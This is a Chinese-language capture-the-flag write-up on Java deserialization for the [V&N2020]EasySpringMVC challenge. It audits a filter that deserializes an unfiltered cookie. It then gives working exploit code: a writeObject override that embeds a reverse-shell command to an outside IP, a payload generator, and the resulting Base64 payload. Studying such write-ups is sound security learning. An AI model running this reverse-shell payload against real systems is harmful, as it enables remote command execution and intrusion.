JAVA反序列化学习 --- [V&N2020 公开赛]EasySpringMVC

[V&N2020 公开赛]EasySpringMVC

java审计的流程先走一遍,下载、反编译、审计(不得不说篇幅真是长…)

自己感觉这道题用来了解Java反序列化真是再好不过了

从一道题入门JAVA反序列化漏洞

Java反序列化漏洞分析

深入了解序列化writeObject、readObject、readResolve

在这里插入图片描述

用的是readObject,我们去本地测试一下

import java.io.*;
/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/
public class Java_Test{
    public static void main(String args[]) throws Exception {
        String obj = "N0Tai1";
        FileOutputStream fos = new FileOutputStream("aa.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();
        
        // 创建文件读取流
        FileInputStream fis = new FileInputStream("aa.ser");
        //创建反序列化流,通过反序列化恢复对象obj,以流的方式读取
        ObjectInputStream ois = new ObjectInputStream(fis);
        //读取一个对象
        String obj2 = (String)ois.readObject();        
        System.out.println(obj2);
        ois.close();
    }
}

在这里插入图片描述

filter中有这么一段内容

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    Cookie[] cookies = ((HttpServletRequest)request).getCookies();
    boolean exist = false;
    Cookie cookie = null;
    if (cookies != null)
      for (Cookie c : cookies) {
          //遍历cookie
        if (c.getName().equals("cinfo")) {
            //getName获取cookie的键,若存在cinfo这个键则进入if
          exist = true;
          cookie = c;
          break;
        } 
      }  

可以看到filter首先从cookies中找到这个cinfo这个键 ,然后紧接着

    if (exist) {
      String b64 = cookie.getValue();
        //获取了这个键的值
      Base64.Decoder decoder = Base64.getDecoder();
      byte[] bytes = decoder.decode(b64);
        //对值进行base64解码
      ClientInfo cinfo = null;
      if (b64.equals("") || bytes == null) {
          //b64或者bytes为空时进入
        cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
        Base64.Encoder encoder = Base64.getEncoder();
        try {
          bytes = Tools.create(cinfo);
        } catch (Exception e) {
          e.printStackTrace();
        } 
        cookie.setValue(encoder.encodeToString(bytes));
      } else {
        try {
          cinfo = (ClientInfo)Tools.parse(bytes);
            //调用Tools的parse方法,并且直接传入bytes
        } catch (Exception e) {
          e.printStackTrace();
        } 
      } 
      ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
    }

cinfo存在的话就进入else语句,然后这里直接调用了 Tools.parse ,并且直接传值,这里注意,cinfo是完全可控且无过滤的,然后直接去看Tools

package com.tools;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Tools implements Serializable {
    //定义了一个Tools类来实现序列化接口
  private static final long serialVersionUID = 1L;
  
  private String testCall;
    //定义一个私有变量testCall
  
  public static Object parse(byte[] bytes) throws Exception {
      
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return ois.readObject();
      //对传入的值执行进行的反序列化操作
  }
  
  public static byte[] create(Object obj) throws Exception {
      //定义一个create方法
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
      //创建一个下面的构造方法创建一个32字节(默认大小)的缓冲区
    ObjectOutputStream outputStream = new ObjectOutputStream(bos);
    outputStream.writeObject(obj);
      //写入序列化内容
    return bos.toByteArray();
      //将字节流变成数组
  }
  
  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    Object obj = in.readObject();
    (new ProcessBuilder((String[])obj)).start();
      //命令执行,进行反序列化操作的时候会直接调用这个readObject方法
  }
}

tools直接对传入的值进行了反序列化,这里对cookie中传入的cinfo的反序列化是无任何过滤的,并且当前这个类正好有一个命令执行,当parse这个方法进行反序列化的直接,就会直接调用当前这个类的readObject方法,然后读到的obj就会强制转成string,然后实现命令执行

我们直接在tools中重写一个writeObject把反弹shell的命令塞进去

  private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException{
    String command[]={"bash","-c","bash -i>& /dev/tcp/8.141.49.228/1889 0>&1"};
    out.writeObject(command);
  }

生成payload

package com.tools;
import java.io.*;
import java.util.Base64;
import com.tools.*;

public class App {
    public static void main(String[] args) {
        Base64.Encoder encoder = Base64.getEncoder();
	try {
            Tools cinfo = new Tools();
            byte[] bytes = Tools.create(cinfo);
            String payload = encoder.encodeToString(bytes);
            System.out.println(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}
public class Tools implements Serializable {
  private static final long serialVersionUID = 1L;
  
  public static Object parse(byte[] bytes) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return ois.readObject();
  }
  private String testCall;
  public static byte[] create(Object obj) throws Exception {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream outputStream = new ObjectOutputStream(bos);
    outputStream.writeObject(obj);
    return bos.toByteArray();
  }
  
  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    Object obj = in.readObject();
    (new ProcessBuilder((String[])obj)).start();
  }
  private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException{
    String command[]={"bash","-c","bash -i>& /dev/tcp/8.141.49.228/1889 0>&1"};
    out.writeObject(command);
  }
}
rO0ABXNyAA9jb20udG9vbHMuVG9vbHMAAAAAAAAAAQMAAUwACHRlc3RDYWxsdAASTGphdmEvbGFuZy9TdHJpbmc7eHB1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAADdAAEYmFzaHQAAi1jdAApYmFzaCAtaT4mIC9kZXYvdGNwLzguMTQxLjQ5LjIyOC8xODg5IDA+JjF4

在这里插入图片描述

/readflag就可以拿到flag了


版权声明:本文为lllffg原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。